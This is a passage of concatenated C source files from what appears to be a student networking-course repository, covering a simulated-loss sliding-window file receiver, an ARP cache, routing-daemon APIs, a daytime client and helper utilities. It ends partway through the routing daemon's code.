msg_send(int sockfd, char *destIP, int destPort, char *msg, int forceRediscovery) { ApiData apiData; struct sockaddr_un destAddr; char buffer[1024]; memcpy(apiData.data, msg, strlen(msg)); apiData.data[strlen(msg)] = '\0'; memcpy(apiData.canonicalIP, destIP, strlen(destIP)); apiData.canonicalIP[strlen(destIP)] = '\0'; apiData.port = destPort; apiData.forceRediscovery = forceRediscovery; bzero(&destAddr, sizeof(destAddr)); destAddr.sun_family = AF_LOCAL; strcpy(destAddr.sun_path, getFullPath(buffer, ODR_FILE, sizeof(buffer), FALSE)); // Send data to ODR Sendto(sockfd, &apiData, sizeof(apiData), 0, (SA *) &destAddr, sizeof(destAddr)); } int msg_recv(int sockfd, char *msg, char *srcIP, int *srcPort) { ApiData apiData; // Receive data from ODR Recvfrom(sockfd, &apiData, sizeof(apiData), 0, NULL, NULL); memcpy(msg, apiData.data, strlen(apiData.data)); msg[strlen(apiData.data)] = '\0'; memcpy(srcIP, apiData.canonicalIP, strlen(apiData.canonicalIP)); srcIP[strlen(apiData.canonicalIP)] = '\0'; *srcPort = apiData.port; return strlen(msg); } <file_sep>/A2/receiver.c #include "client.h" #include "unpthread.h" #include "assert.h" #include "math.h" pthread_mutex_t QueueMutex = PTHREAD_MUTEX_INITIALIZER; struct prodConsArg{ int *sockfd; RecWinQueue *queue; }; static int isPacketLost() { double rval = drand48(); //printf("%f %f", rval, in_packet_loss); if (rval > in_packet_loss) { return 0; } err_msg(KRED _4TABS "Dropped" RESET); return 1; } static void printRecWinNode(RecWinQueue *RecWinQ, int ind) { printf("Receving Window [%d] => ", ind); if (IS_PRESENT(RecWinQ, ind)) { TcpPckt *packet = GET_PACKET(RecWinQ, ind); printf("SeqNum: %d\nData Contents:\n%s\n", packet->seqNum, packet->data); } else { printf("Empty\n"); } } static void printRecWindow(RecWinQueue *RecWinQ) { int i; printf(KCYM "Receving Window =>\t"); printf("Advertised WinSize: %d Contents:", RecWinQ->advertisedWin); for (i = 0; i < RecWinQ->winSize; i++) { if (IS_PRESENT(RecWinQ, i)) printf(" %d", GET_SEQ_NUM(RecWinQ, i)); else printf(" x"); } printf( RESET "\n"); } static int addPacketToRecWin(RecWinQueue *RecWinQ, TcpPckt *packet, int packetSize) { if (packet->seqNum == FIN_SEQ_NO) { printf(KYEL "FIN packet received\n" RESET); return FIN_SEQ_NO; } else if (packet->seqNum == PROBE_SEQ_NO) { printf(KYEL "PROBE packet received\n" RESET); return PROBE_SEQ_NO; } RecWinNode *wnode = GET_WNODE(RecWinQ, packet->seqNum); printf(KYEL); if (wnode->isPresent) { // Duplicate packet arrived assert((wnode->packet.seqNum == packet->seqNum) && "Invalid packet seq num"); printf("DUPLICATE packet received\n"); } else if (RecWinQ->nextSeqExpected > packet->seqNum) { printf("OLD packet received\n"); } else { // New packet arrived fillPckt(&wnode->packet, packet->seqNum, packet->ackNum, packet->winSize, packet->data, packetSize - HEADER_LEN); wnode->dataSize = packetSize - HEADER_LEN; wnode->isPresent = 1; if (RecWinQ->nextSeqExpected == packet->seqNum) { int wInd; do { RecWinQ->nextSeqExpected++; RecWinQ->advertisedWin--; wInd = GET_INDEX(RecWinQ, RecWinQ->nextSeqExpected); } while ((IS_PRESENT(RecWinQ, wInd)) && (GET_SEQ_NUM(RecWinQ, wInd) == RecWinQ->nextSeqExpected)); } printf("NEW packet received\n"); } printf(RESET); printRecWindow(RecWinQ); return packet->seqNum; } int initializeRecWinQ(RecWinQueue *RecWinQ, TcpPckt *firstPacket, int packetSize, int recWinSize) { RecWinQ->wnode = (RecWinNode*) calloc(recWinSize, sizeof(RecWinNode)); RecWinQ->winSize = recWinSize; RecWinQ->advertisedWin = recWinSize; RecWinQ->nextSeqExpected = DATA_SEQ_NO; RecWinQ->consumerSeqNum = DATA_SEQ_NO; // Add first packet in receving window return addPacketToRecWin(RecWinQ, firstPacket, packetSize); } void sendAck(RecWinQueue *RecWinQ, int fd) { char buf[ACK_PRINT_BUFF]; TcpPckt packet; sprintf(buf, "Sending Ack No %d\t", RecWinQ->nextSeqExpected); fillPckt(&packet, CLI_DEF_SEQ_NO, RecWinQ->nextSeqExpected, RecWinQ->advertisedWin, NULL, 0); //No data writeWithPacketDrops(fd, &packet, HEADER_LEN, buf); } static void sendFinAck(RecWinQueue *RecWinQ, int fd) { TcpPckt packet; fillPckt(&packet, CLI_DEF_SEQ_NO, FIN_ACK_NO, RecWinQ->advertisedWin, NULL, 0); writeWithPacketDrops(fd, &packet, HEADER_LEN, "Sending FIN-ACK\t\t"); } static void sendProbeAck(RecWinQueue *RecWinQ, int fd) { TcpPckt packet; fillPckt(&packet, CLI_DEF_SEQ_NO, PROBE_ACK_NO, RecWinQ->advertisedWin, NULL, 0); writeWithPacketDrops(fd, &packet, HEADER_LEN, "Sending PROBE-ACK\t"); } int writeWithPacketDrops(int fd, void *ptr, size_t nbytes, char *msg) { printf("\n%s: ", msg); if (isPacketLost()) { return -1; } printf(KGRN _4TABS "Sent\n" RESET); Writen(fd, ptr, nbytes); return 1; } int readWithPacketDrops(int fd, TcpPckt *packet, size_t nbytes, char *msg) { int n; while (1) { n = Read(fd, (void *) packet, nbytes); printf("\n%s => ", msg); if (packet->seqNum >= DATA_SEQ_NO) printf("Seq num: %d", packet->seqNum); else printf(_2TABS); if (!isPacketLost()) { break; } } printf(KGRN _4TABS "Received\n" RESET); return n; } static void *producerFunction(void *arg) { TcpPckt packet; uint32_t seqNum; char recvBuf[MAX_PAYLOAD+1]; int len, terminate; struct prodConsArg *prodCons= ((struct prodConsArg *)arg); int sockfd = *(prodCons->sockfd); RecWinQueue *RecWinQ = (prodCons->queue); while (1) { len = readWithPacketDrops(sockfd, &packet, DATAGRAM_SIZE, "Receiving next file packet"); Pthread_mutex_lock(&QueueMutex); seqNum = addPacketToRecWin(RecWinQ, &packet, len); Pthread_mutex_unlock(&QueueMutex); if (seqNum == FIN_SEQ_NO) { // Received FIN - terminate connection terminateConnection(sockfd, RecWinQ, &packet, len); break; } else if (seqNum == PROBE_SEQ_NO) { sendProbeAck(RecWinQ, sockfd); } else { sendAck(RecWinQ, sockfd); } } } static void *consumerFunction(void *arg) { TcpPckt packet; unsigned int seqNum, ackNum, winSize; char recvBuf[MAX_PAYLOAD+1]; int len; struct prodConsArg *prodCons= ((struct prodConsArg *)arg); RecWinQueue *RecWinQ = (prodCons->queue); int sleepTime; while (1) { sleepTime = (-1 * in_read_delay * log(drand48())); usleep(sleepTime*1000); Pthread_mutex_lock(&QueueMutex); if ((RecWinQ->consumerSeqNum) != (RecWinQ->nextSeqExpected)) { printf(KMAG "\n - - - - - - - - - - - - - Inside Consumer Thread - - - - - - - - - - - -\n" RESET); int i, nBytes; printf("\nReading Packet(s) =>"); for (i = RecWinQ->consumerSeqNum, nBytes = 0; i != RecWinQ->nextSeqExpected; i++) { assert(IS_PRESENT(RecWinQ, GET_INDEX(RecWinQ, i)) && "Invalid Packet Contents in receiving window"); printf(" %d", i); GET_WNODE(RecWinQ, i)->isPresent = 0; RecWinQ->advertisedWin++; nBytes += GET_DATA_SIZE(RecWinQ, GET_INDEX(RecWinQ, i)); } printf("\n"); printRecWindow(RecWinQ); printf("File Data Contents => (Total Bytes: %d)\n", nBytes); while ((RecWinQ->consumerSeqNum) != (RecWinQ->nextSeqExpected)) { int wIndex = GET_INDEX(RecWinQ, RecWinQ->consumerSeqNum); readPckt(GET_PACKET(RecWinQ, wIndex), (GET_DATA_SIZE(RecWinQ, wIndex)+ HEADER_LEN), &seqNum, &ackNum, &winSize, recvBuf); printf("%s", recvBuf); RecWinQ->consumerSeqNum++; if (GET_DATA_SIZE(RecWinQ, wIndex) != MAX_PAYLOAD) { printf(KMAG "\n\n - - - - - - - - - - - - - Exiting Consumer Thread - - - - - - - - - - - -\n" RESET); Pthread_mutex_unlock(&QueueMutex); return; } } printf(KMAG "\n\n - - - - - - - - - - - - - Exiting Consumer Thread - - - - - - - - - - - -\n" RESET); } Pthread_mutex_unlock(&QueueMutex); } } int fileTransfer(int *sockfd, RecWinQueue *RecWinQ) { pthread_t prodThread, consThread; struct prodConsArg arguments; arguments.sockfd = sockfd; arguments.queue = RecWinQ; Pthread_create(&prodThread, NULL, &producerFunction, (void *)&arguments); Pthread_create(&consThread, NULL, &consumerFunction, (void *)&arguments); pthread_join(prodThread, NULL); pthread_join(consThread, NULL); printf("\nFile Transfer successfully completed\n"); } void terminateConnection(int sockfd, RecWinQueue *RecWinQ, TcpPckt *packet, int len) { if (len > HEADER_LEN) { // Server terminated due to error packet->data[len - HEADER_LEN] = '\0'; printf(KRED "Server Error: %s\n" RESET, packet->data); } sendFinAck(RecWinQ, sockfd); } <file_sep>/A2/common.h #ifndef _COMMON_H #define _COMMON_H #include <assert.h> #include <setjmp.h> #include "unp.h" #include "unpifiplus.h" #define _1TAB "\t" #define _2TABS "\t\t" #define _3TABS "\t\t\t" #define _4TABS "\t\t\t\t" #define KRED "\x1B[31m" #define KGRN "\x1B[32m" #define KYEL "\x1B[33m" #define KBLU "\x1B[34m" #define KMAG "\x1B[35m" #define KCYM "\x1B[36m" #define KWHT "\x1B[37m" #define RESET "\033[0m" #define ACK_PRINT_BUFF 50 #define SERVER_IN "server.in" #define CLIENT_IN "client.in" #define PARAM_SIZE 100 #define MAX_RETRANSMIT 12 #define HEADER_LEN 12 #define MAX_PAYLOAD 512 #define DATAGRAM_SIZE (MAX_PAYLOAD + HEADER_LEN) #define SYN_SEQ_NO 1 #define SYN_ACK_SEQ_NO 2 #define ACK_SEQ_NO 3 #define FIN_SEQ_NO 4 #define FIN_ACK_NO 5 #define PROBE_SEQ_NO 6 #define PROBE_ACK_NO 7 #define CLI_DEF_SEQ_NO 8 #define DATA_SEQ_NO 11 #define CLIENT_TIMER 3000 // millisec #define PROBE_TIMER 3000 // millisec #define FIN_ACK_TIMER 3000 // millisec #define GET_INDEX( winQ, seqNum) ((seqNum)%(winQ->winSize)) #define GET_WNODE( winQ, seqNum) (&(winQ->wnode[GET_INDEX(winQ, seqNum)])) #define IS_PRESENT( winQ, ind) (winQ->wnode[ind].isPresent) #define GET_PACKET( winQ, ind) (&(winQ->wnode[ind].packet)) #define GET_SEQ_NUM( winQ, ind) (GET_PACKET(winQ, ind)->seqNum) #define GET_DATA_SIZE(winQ, ind) (winQ->wnode[ind].dataSize) typedef struct { uint32_t seqNum; // 4 bytes uint32_t ackNum; // 4 bytes uint32_t winSize; // 4 bytes char data[MAX_PAYLOAD+1]; // 500 bytes } TcpPckt; // 512 bytes char* getStringParamValue(FILE *inp_file, char *paramVal); int getIntParamValue(FILE *inp_file); float getFloatParamValue(FILE *inp_file); int print_ifi_info_plus(struct ifi_info *ifihead); int verifyIfLocalAndGetHostIP(struct ifi_info *ifihead, struct in_addr *remote_ip, struct in_addr *host_ip); int fillPckt(TcpPckt *packet, uint32_t seqNum, uint32_t ackNum, uint32_t winSize, char* dataPtr, int len); int readPckt(TcpPckt *packet, int packet_size, uint32_t *seqNum, uint32_t *ackNum, uint32_t *winSize, char* dataPtr); int setTimer(struct itimerval *timer, long int milliSec); #endif /* !_COMMON_H */ <file_sep>/A1/time_cli.c #include "unp.h" #include "common.h" static int writefd = -1; static void writeMsgAndExit(char *msg, int status) { char writeBuf[MAXLINE] = "\nTime Client : "; strcat(strcat(writeBuf, msg), "\n"); Write(writefd, writeBuf, strlen(writeBuf)); exit(status); } static void sig_int(int signo) { writeMsgAndExit("Terminated Successfully", EXIT_SUCCESS); } int main(int argc, char **argv) { char *hostAddr, *msg; char recvBuf[MAXLINE + 1]; struct sockaddr_in servAddr; int sockfd, len; if (argc != 3) { writeMsgAndExit("Invalid Arguments", EXIT_FAILURE); } hostAddr = argv[1]; writefd = atoi(argv[2]); if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { writeMsgAndExit("socket error", EXIT_FAILURE); } bzero(&servAddr, sizeof(servAddr)); servAddr.sin_family = AF_INET; servAddr.sin_port = htons(DAYTIME_PORT); if (inet_pton(AF_INET, hostAddr, &servAddr.sin_addr) <= 0) { writeMsgAndExit("inet_pton error", EXIT_FAILURE); } //TODO: Make socket non-blocking if (connect(sockfd, (SA *) &servAddr, sizeof(servAddr)) < 0) { writeMsgAndExit("socket connect error", EXIT_FAILURE); } printf("Client succefully connected to server (%s)\n", hostAddr); if (signal(SIGINT, sig_int) == SIG_ERR) { writeMsgAndExit("signal error", EXIT_FAILURE); } while ((len = read(sockfd, recvBuf, MAXLINE)) > 0) { recvBuf[len] = 0; /* null terminate */ if (fputs(recvBuf, stdout) == EOF) { writeMsgAndExit("fputs stdout error", EXIT_FAILURE); } } if (len < 0) { writeMsgAndExit("socket read error", EXIT_FAILURE); } writeMsgAndExit("Server Crash", EXIT_FAILURE); return 0; } <file_sep>/A4/arp_api.c #include "api.h" void readUnixSocket(int connfd, IA *destIPAddr, int *ifindex, uint16_t *hatype, uint8_t *halen) { SendToARP readData; Read(connfd, &readData, sizeof(readData)); destIPAddr->s_addr = readData.ipaddr.s_addr; *ifindex = readData.ifindex; *hatype = readData.hatype; *halen = readData.halen; } void writeUnixSocket(int connfd, char *hwaddr) { ReceiveFromARP writeData; memcpy(&writeData, hwaddr, IF_HADDR); Writen(connfd, &writeData, sizeof(writeData)); } <file_sep>/A4/arp_cache.c #include "arp.h" static ARPCache arpCache[100]; static int cacheEntries = 0; static void printARPCache() { int i; printf("============================================================================\n"); printf("| IP Addr | MAC Addr | IfIndex | HAType | Connfd |\n"); printf("============================================================================\n"); for (i = 0; i < cacheEntries; i++) { if (arpCache[i].isValid) { printf("| %18s | %23s | %7d | %6d | %6d |\n", getIPStrByIPAddr(arpCache[i].ipAddr), ethAddrNtoP(arpCache[i].hwAddr), arpCache[i].ifindex, arpCache[i].hatype, arpCache[i].connfd); } } printf("============================================================================\n"); } ARPCache* searchARPCache(IA ipAddr) { int i; for (i = 0; i < cacheEntries; i++) { if (arpCache[i].isValid && (isSameIPAddr(arpCache[i].ipAddr, ipAddr))) { return &arpCache[i]; } } return NULL; } void invalidateCache(IA ipAddr) { ARPCache *entry = searchARPCache(ipAddr); assert(entry != NULL && "Invalid cache entry to invalidate"); entry->isValid = FALSE; printf("Invalidating Cache Entry with IP %s\n", getIPStrByIPAddr(ipAddr)); printARPCache(); } bool updateARPCache(IA ipAddr, char *hwAddr, int ifindex, uint8_t hatype, int connfd, bool forceUpdate) { int i, updateInd; updateInd = cacheEntries; for (i = 0; i < cacheEntries; i++) { if (arpCache[i].isValid) { if (isSameIPAddr(arpCache[i].ipAddr, ipAddr)) { updateInd = i; break; } } else { if (forceUpdate) updateInd = i; } } if (forceUpdate || (updateInd != cacheEntries)) { // Update Cache Entry arpCache[updateInd].isValid = TRUE; arpCache[updateInd].ipAddr = ipAddr; arpCache[updateInd].ifindex = ifindex; arpCache[updateInd].hatype = hatype; arpCache[updateInd].connfd = connfd; if (hwAddr) { memcpy(arpCache[updateInd].hwAddr, hwAddr, IF_HADDR); } if (updateInd == cacheEntries) { cacheEntries++; } printf("Updating Cache Entry with IP %s\n", getIPStrByIPAddr(ipAddr)); printARPCache(); return TRUE; } return FALSE; } <file_sep>/A4/arp.h #ifndef _ARP_H #define _ARP_H #include "utils.h" #define DEBUG 0 #define PROTOCOL_NUMBER 0x5454 #define IDENT_NUMBER 0x4545 #define HARD_TYPE ARPHRD_ETHER #define GET_IDENT_NUM(frame) ((frame)->packet.identNum) #define GET_HARD_TYPE(frame) ((frame)->packet.hatype) #define GET_HARD_SIZE(frame) ((frame)->packet.halen) #define GET_PROT_SIZE(frame) ((frame)->packet.protSize) #define GET_OP_TYPE(frame) ((frame)->packet.opType) #define GET_SRC_IP(frame) ((frame)->packet.srcIP) #define GET_DEST_IP(frame) ((frame)->packet.destIP) #define GET_SRC_MAC(frame) ((frame)->packet.srcMAC) #define GET_DEST_MAC(frame) ((frame)->packet.destMAC) // ARP OP feild type typedef enum { REQUEST = 1, REPLY = 2 } ARPOpType; // ARP Packet typedef struct { uint16_t identNum; uint16_t hatype; uint16_t protocol; uint8_t halen; uint8_t protSize; uint16_t opType; char srcMAC[IF_HADDR]; IA srcIP; char destMAC[IF_HADDR]; IA destIP; } ARPPacket; // Ethernet Frame typedef struct { uint8_t destMAC[IF_HADDR]; uint8_t srcMAC[IF_HADDR]; uint16_t protocol; ARPPacket packet; } EthernetFrame; typedef struct { bool isValid; IA ipAddr; char hwAddr[IF_HADDR]; int ifindex; uint16_t hatype; int connfd; } ARPCache; ARPCache* searchARPCache(IA ipAddr); void invalidateCache(IA ipAddr); bool updateARPCache(IA ipAddr, char *hwAddr, int ifindex, uint8_t hatype, int connfd, bool forceUpdate); void readUnixSocket(int connfd, IA *destIPAddr, int *ifindex, uint16_t *hatype, uint8_t *halen); void writeUnixSocket(int connfd, char *hwaddr); #endif /* !_ARP_H */ <file_sep>/A1/common.h #define DAYTIME_PORT 4554 #define ECHO_PORT 5445 <file_sep>/A4/utils.c #include "utils.h" int getVmNodeByIPAddr(IA ipAddr) { struct hostent *hostInfo; int nodeno = 0; hostInfo = gethostbyaddr(&ipAddr, sizeof(ipAddr), AF_INET); sscanf(hostInfo->h_name, "vm%d", &nodeno); return nodeno; } char* getIPStrByVmNode(char *ip, int node) { struct hostent *hostInfo = NULL; char hostName[100]; sprintf(hostName, "vm%d", node); hostInfo = gethostbyname(hostName); if (hostInfo && inet_ntop(AF_INET, hostInfo->h_addr, ip, INET_ADDRSTRLEN)) return ip; else return NULL; } char* getIPStrByIPAddr(IA ipAddr) { struct hostent *hostInfo = NULL; static char ipStr[INET_ADDRSTRLEN]; if (inet_ntop(AF_INET, (void*) &ipAddr, ipStr, INET_ADDRSTRLEN)) return ipStr; else return NULL; } IA getIPAddrByIPStr(char *ipStr) { IA ipAddr = {0}; inet_pton(AF_INET, ipStr, &ipAddr); return ipAddr; } IA getIPAddrByVmNode(int node) { char ipStr[INET_ADDRSTRLEN]; IA ipAddr = {0}; if (getIPStrByVmNode(ipStr, node)) { inet_pton(AF_INET, ipStr, &ipAddr); } return ipAddr; } int getHostVmNodeNo() { char hostname[1024]; int nodeNo; gethostname(hostname, 10); nodeNo = atoi(hostname+2); if (nodeNo < 1 || nodeNo > 10) { err_msg("Warning: Invalid hostname '%s'", hostname); } return nodeNo; } char* getFullPath(char *fullPath, char *fileName, int size, bool isTemp) { if (getcwd(fullPath, size) == NULL) { err_msg("Unable to get pwd via getcwd()"); } strcat(fullPath, fileName); if (isTemp) { if (mkstemp(fullPath) == -1) { err_msg("Unable to get temp file via mkstemp()"); } } return fullPath; } bool isSameIPAddr(IA ip1, IA ip2) { if (ip1.s_addr == ip2.s_addr) return TRUE; return FALSE; } char* ethAddrNtoP(char *nMAC) { static char pMAC[25]; char buf[10]; int i; pMAC[0] = '\0'; for (i = 0; i < IF_HADDR; i++) { sprintf(buf, "%.2x%s", nMAC[i] & 0xff , i == 5 ? "" : ":"); strcat(pMAC, buf); } return pMAC; } int getEth0IfaceAddrPairs(Eth0AddrPairs *eth0AddrPairs) { struct hwa_info *hwahead, *hwa; int totalPairs = 0; printf("Following are all eth0 interface <IP address, HW address> pairs =>\n"); hwahead = Get_hw_addrs(); for (hwa = hwahead; hwa != NULL; hwa = hwa->hwa_next) { if (strcmp(hwa->if_name, "eth0") == 0 || strcmp(hwa->if_name, "wlan0") == 0) { struct sockaddr *sa; char *ptr; int i, prflag; // Store Pair information eth0AddrPairs[totalPairs].ipaddr = ((struct sockaddr_in*) hwa->ip_addr)->sin_addr; memcpy(eth0AddrPairs[totalPairs].hwaddr, hwa->if_haddr, IF_HADDR); totalPairs++; // Print Pair information #if DEBUG printf("%s :%s", hwa->if_name, ((hwa->ip_alias) == IP_ALIAS) ? " (alias)\n" : "\n"); #endif if ((sa = hwa->ip_addr) != NULL) printf(" IP addr = %s\n", Sock_ntop_host(sa, sizeof(*sa))); prflag = 0; i = 0; do { if (hwa->if_haddr[i] != '\0') { prflag = 1; break; } } while (++i < IF_HADDR); if (prflag) { printf(" HW addr = "); ptr = hwa->if_haddr; i = IF_HADDR; do { printf("%.2x%s", *ptr++ & 0xff, (i == 1) ? " " : ":"); } while (--i > 0); } #if DEBUG printf("\n interface index = %d\n\n", hwa->if_index); #endif } } printf("\n"); free(hwahead); return totalPairs; } char* curTimeStr() { static char timeStr[100]; time_t timestamp = time(NULL); strcpy(timeStr, asctime(localtime((const time_t *) &timestamp))); timeStr[strlen(timeStr)-1] = '\0'; return timeStr; } uint16_t in_cksum(uint16_t *addr, int len) { int nleft = len; uint32_t sum = 0; uint16_t *w = addr; uint16_t answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* 4mop up an odd byte, if necessary */ if (nleft == 1) { *(uint8_t *)(&answer) = *(uint8_t *)w ; sum += answer; } /* 4add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return answer; } void tv_sub(struct timeval *out, struct timeval *in) { /* out -= in */ if ( (out->tv_usec -= in->tv_usec) < 0) { --out->tv_sec; out->tv_usec += 1000000; } out->tv_sec -= in->tv_sec; } <file_sep>/A2/common.c /*** * common.c - contains common code between client and server * ***/ #include "unp.h" #include "unpifiplus.h" #include "common.h" static char* getParam(FILE *fp, char *ptr, int n) { char line[MAXLINE]; if (fgets(line, n, fp) == NULL || strlen(line) == 0) { return NULL; } if (sscanf(line, "%s", ptr) > 0) return ptr; return NULL; } char* getStringParamValue(FILE *inp_file, char *paramVal) { if (getParam(inp_file, paramVal, PARAM_SIZE) == NULL) { err_quit("Invalid parameter\n"); } return paramVal; } int getIntParamValue(FILE *inp_file) { char paramStr[PARAM_SIZE]; int paramIVal; if (getParam(inp_file, paramStr, PARAM_SIZE) == NULL || ((paramIVal = atoi(paramStr)) == 0) ) { err_quit("Invalid parameter\n"); } return paramIVal; } float getFloatParamValue(FILE *inp_file) { char paramStr[PARAM_SIZE]; if (getParam(inp_file, paramStr, PARAM_SIZE) == NULL) { err_quit("Invalid parameter\n"); } return atof(paramStr); } int print_ifi_info_plus(struct ifi_info *ifihead) { struct ifi_info *ifi; struct sockaddr *sa; u_char *ptr; int i, num; printf("\nFollowing are different Interfaces: \n"); for (num = 0, ifi = ifihead; ifi != NULL; ifi = ifi->ifi_next) { printf(" %s: ", ifi->ifi_name); if (ifi->ifi_index != 0) printf("(%d) ", ifi->ifi_index); printf("< "); /* *INDENT-OFF* */ if (ifi->ifi_flags & IFF_UP) printf("UP "); if (ifi->ifi_flags & IFF_BROADCAST) printf("BCAST "); if (ifi->ifi_flags & IFF_MULTICAST) printf("MCAST "); if (ifi->ifi_flags & IFF_LOOPBACK) printf("LOOP "); if (ifi->ifi_flags & IFF_POINTOPOINT) printf("P2P "); printf(">\n"); /* *INDENT-ON* */ if ((i = ifi->ifi_hlen) > 0) { ptr = ifi->ifi_haddr; do { printf("%s%x", (i == ifi->ifi_hlen) ? " " : ":", *ptr++); } while (--i > 0); printf("\n"); } if (ifi->ifi_mtu != 0) printf(" MTU: %d\n", ifi->ifi_mtu); if ((sa = ifi->ifi_addr) != NULL) printf(" IP addr: %s\n", Sock_ntop_host(sa, sizeof(*sa))); if ((sa = ifi->ifi_ntmaddr) != NULL) printf(" network mask: %s\n", Sock_ntop_host(sa, sizeof(*sa))); if ((sa = ifi->ifi_brdaddr) != NULL) printf(" broadcast addr: %s\n", Sock_ntop_host(sa, sizeof(*sa))); if ((sa = ifi->ifi_dstaddr) != NULL) printf(" destination addr: %s\n", Sock_ntop_host(sa, sizeof(*sa))); num++; } printf("\n"); return num; } #define IFI_ADDR(ifi) (((struct sockaddr_in*)ifi->ifi_addr)->sin_addr.s_addr) #define IFI_MASK(ifi) (((struct sockaddr_in*)ifi->ifi_ntmaddr)->sin_addr.s_addr) static int verifyIfLocal(struct ifi_info *new_host_ifi, struct ifi_info *host_ifi, struct in_addr *remote_ip) { in_addr_t new_mask = IFI_MASK(new_host_ifi); if ((IFI_ADDR(new_host_ifi) & new_mask) == (remote_ip->s_addr & new_mask)) { // Get longest prefix match if (host_ifi == NULL || (IFI_MASK(host_ifi) < new_mask)) return 1; } return 0; } int verifyIfLocalAndGetHostIP(struct ifi_info *ifihead, struct in_addr *remote_ip, struct in_addr *host_ip) { struct ifi_info *ifi, *local_ifi, *arbitrary_ifi; int isLocal; local_ifi = arbitrary_ifi = NULL; for (ifi = ifihead ; ifi != NULL; ifi = ifi->ifi_next) { if (verifyIfLocal(ifi, local_ifi, remote_ip)) { local_ifi = ifi; } if (!(ifi->ifi_flags & IFF_LOOPBACK)) { arbitrary_ifi = ifi; } } if (local_ifi) { if (host_ip) host_ip->s_addr = IFI_ADDR(local_ifi); isLocal = 1; } else if (arbitrary_ifi) { if (host_ip) host_ip->s_addr = IFI_ADDR(arbitrary_ifi); isLocal = 0; } else { isLocal = -1; } return isLocal; } int setTimer(struct itimerval *timer, long int milliSec) { timer->it_interval.tv_sec = 0; timer->it_interval.tv_usec = 0; timer->it_value.tv_sec = milliSec / 1000; timer->it_value.tv_usec = (milliSec % 1000) *1000; if( setitimer(ITIMER_REAL, timer, 0) != 0) { printf("Error in setting timer \n"); exit(0); } } int fillPckt(TcpPckt *packet, uint32_t seqNum, uint32_t ackNum, uint32_t winSize, char* dataPtr, int len) { packet->seqNum = seqNum; packet->ackNum = ackNum; packet->winSize = winSize; if (dataPtr == NULL){ packet->data[0] = '\0'; return HEADER_LEN; } if (memcpy((void *)packet->data, (const void *) dataPtr, (size_t) len) == NULL) { printf("Error detected in memcpy while reading packet\n"); return -1; } packet->data[MAX_PAYLOAD] = '\0'; return HEADER_LEN + len; } int readPckt(TcpPckt *packet, int packet_size, uint32_t *seqNum, uint32_t *ackNum, uint32_t *winSize, char* dataPtr) { if (seqNum != NULL) *seqNum = packet->seqNum; if (ackNum != NULL) *ackNum = packet->ackNum; if (winSize != NULL) *winSize = packet->winSize; if (dataPtr != NULL) { if (memcpy((void *)dataPtr, (const void *)packet->data, packet_size-HEADER_LEN) == NULL) { printf("Error detected in memcpy while reading packet \n"); return -1; } dataPtr[packet_size - HEADER_LEN] = '\0'; } return 0; } <file_sep>/A2/server.h #ifndef _SERVER_H #define _SERVER_H #include "common.h" #include "unprtt.h" #define GET_OLDEST_SEQ_IND(sendWinQ) (sendWinQ->oldestSeqNum%sendWinQ->winSize) #define GET_OLDEST_SEQ_WNODE(sendWinQ) (&(sendWinQ->wnode[GET_OLDEST_SEQ_IND(sendWinQ)])) #define IS_ADDITIVE_INC(sendWinQ) (sendWinQ->ssThresh <= sendWinQ->cwin) typedef struct client_request { struct sockaddr_in cliaddr; pid_t childpid; struct client_request *next; } ClientRequest; typedef struct send_window_node { TcpPckt packet; // Sending Packet int dataSize; // Length of data in packet int isPresent; // If any packet is present at this node int numOfRetransmits; // Number of retransmissions uint32_t timestamp; // Timestamp of packet } SendWinNode; typedef struct send_window_queue { SendWinNode *wnode; // Sending window containing packets int winSize; // Total sending window size int cwin; // Current window size int ssThresh; // SSThresh value int oldestSeqNum; // Oldest sequence number in window int nextNewSeqNum; // Next new sequence number int nextSendSeqNum; // Next Sequence number to be sent int advertisedWin; // Receiver's advertised window size int additiveAckNum; // Ack Num for which we increase Cwin under AIMD } SendWinQueue; void initializeSendWinQ(SendWinQueue *SendWinQ, int sendWinSize, int recWinSize, int nextSeqNum); void sendFile(SendWinQueue *SendWinQ, int connFd, int fileFd, struct rtt_info rttInfo); void terminateConnection(int connFd, char *errMsg); #endif /* !_SERVER_H */ <file_sep>/A3/odr.c #include <sys/socket.h> #include <unistd.h> #include <linux/if_packet.h> #include <linux/if_arp.h> #include "common.h" #include "hw_addrs.h" #include "odr.h" #define DEBUG 1 #define DEBUG2 0 char filePath[1024], hostNode, hostIP[100]; int staleness; static void sig_int(int signo) { unlink(filePath); exit(0); } void printInterface(struct hwa_info *hwa) { #if DEBUG2 struct sockaddr *sa; char *ptr; int i, prflag; printf("%s :%s", hwa->if_name, ((hwa->ip_alias) == IP_ALIAS) ? " (alias)\n" : "\n"); if ( (sa = hwa->ip_addr) != NULL) printf(" IP addr = %s\n", Sock_ntop_host(sa, sizeof(*sa))); prflag = 0; i = 0; do { if (hwa->if_haddr[i] != '\0') { prflag = 1; break; } } while (++i < IF_HADDR); if (prflag) { printf(" HW addr = "); ptr = hwa->if_haddr; i = IF_HADDR; do { printf("%.2x%s", *ptr++ & 0xff, (i == 1) ? " " : ":"); } while (--i > 0); } printf("\n interface index = %d\n\n", hwa->if_index); #endif } char* ethAddrNtoP(char *MAC, char *tempMAC) { char buf[10]; int i; tempMAC[0] = '\0'; for (i = 0; i < MACLEN; i++) { sprintf(buf, "%.2x%s", MAC[i] & 0xff , i == 5 ? "" : ":"); strcat(tempMAC, buf); } return tempMAC; } void printPacket(EthernetFrame *frame) { #if DEBUG2 ODRPacket *packet = &(frame->packet); char buffer[20]; int i; printf ("\nEthernet frame header:\n"); printf ("Destination MAC: %s\n", ethAddrNtoP(frame->destMAC, buffer)); printf ("Source MAC: %s\n", ethAddrNtoP(frame->sourceMAC, buffer)); printf("Ethernet Type Code: %x \n", frame->protocol); printf ("ODR packet header =>\n"); printf("Packet Type: %u\n", packet->type); printf("Source IP: %s Port no: %u \n", packet->sourceIP, packet->sourcePort); printf("Destination IP: %s Port no: %u \n", packet->destIP, packet->destPort); printf("Hop count: %u \n", packet->hopCount); printf("Broadcast ID: %u \n", packet->broadID); if (packet->Asent) printf("Asent: True\n"); else printf("Asent: False\n"); if (packet->forceRedisc) printf("forceRedisc: True\n"); else 